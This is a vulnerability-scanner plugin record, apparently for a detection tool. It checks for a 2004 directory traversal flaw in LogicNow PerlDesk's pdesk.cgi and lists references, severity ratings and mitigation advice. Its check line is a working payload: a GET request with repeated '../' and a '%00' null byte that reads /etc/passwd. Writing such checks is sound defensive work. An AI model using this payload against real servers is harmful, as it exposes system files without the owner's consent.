248
LogicNow PerlDesk pdesk.cgi directory traversal
CGI
2004/09/20
Marc Ruef
marc dot ruef at computec dot ch
http://www.computec.ch
computec.ch
Marc Ruef
marc dot ruef at computec dot ch
http://www.computec.ch
computec.ch
2004/11/14
2.0
Corrected the plugin structure and added the accuracy values in 1.1. Improved the pattern matching and introduced the plugin changelog in 2.0
tcp
80
open|send GET /cgi-bin/pdesk.cgi?lang=../../../../../../../../etc/passwd%00 HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# ### *root:* OR HTTP/#.# ### */bin/*
99
Check is inspired by the Nessus plugin.
Nikyt0x Argentina
nikyt0x at hotmail dot com
Http://nikyt0x.webcindario.com
2004/09/13
http://www.securityfocus.com/archive/1/374973
LogicNow PerlDesk
Other solutions
Directory Traversal
The remote system is running LogicNow PerlDesk, a web based help desk and email management system written in Perl. There is a directory traversal in the script pdesk.cgi given. An attacker may use this to get access to files on the server system.
If the web server is not used it should be de-installed or de-activated. Install the newest patch or bugfix to solve the problem or upgrade to the latest software version which is not vulnerable anymore. To make it harder to find the server the daemon could be configured to listen at another port (e.g. 8081). Alternation of the application banner can confuse an attacker and let him determine the wrong software. Additionally limit unwanted connections and communications with firewalling.
Approx. 45 minutes
Yes
http://www.securityfocus.com/bid/11160/exploit/
Yes
Yes
Medium
6
7
8
7
Medium
Nessus is able to do the same check.
11160
14733
Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427
http://viewcvs.php.net/viewcvs.cgi/php-src/NEWS.diff?r1=1.1247.2.724&r2=1.1247.2.726